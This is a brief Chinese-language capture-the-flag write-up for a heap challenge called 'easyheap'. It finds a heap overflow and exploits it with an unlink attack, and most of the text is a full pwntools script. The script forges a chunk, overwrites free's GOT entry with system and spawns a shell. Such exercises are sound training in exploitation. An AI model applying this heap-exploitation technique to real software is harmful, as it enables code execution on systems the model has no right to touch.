checksec exeinfo :
IDA64打开:
delete_heap函数已经将指针清零 无UAF
edit_heap允许自己输入读取字节 存在堆溢出
同时 存储的指针位于bss段
那接下来就想到unlink方法:
图示:
后续修改0x6020E0的位置为freehook 再修改一次 让其指向system 最后free掉chunk2 就能执行binsh了
exp:
from pwn import *
p = process('./easyheap')
elf = ELF('./easyheap')
def add(size, cont):
p.sendlineafter("choice :", b'1')
p.sendlineafter("Heap : ", str(size))
p.sendlineafter("heap:", cont)
def edit(index, size, cont):
p.sendlineafter("choice :", b'2')
p.sendlineafter("Index :", str(index))
p.sendlineafter("Heap : ", str(size))
p.sendlineafter("heap : ", cont)
def delete(index):
p.sendlineafter("choice :", b'3')
p.sendlineafter("Index :", str(index))
add(0x20, b'aaa' * 0x10)
add(0x100, b'bbb' * 0x10)
add(0x40, b'/bin/sh\x00')
fd = 0x6020e0 - 0x18
bk = 0x6020e0 - 0x10
gdb.attach(p)
pause()
payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0x110)
edit(0,len(payload) , payload)
pause()
delete(1)
free_got = elf.got['free']
system_plt = elf.plt['system']
edit(0, 0x30, p64(0) * 3 + p64(free_got))
edit(0, 0x8, p64(system_plt))
delete(2)
p.interactive()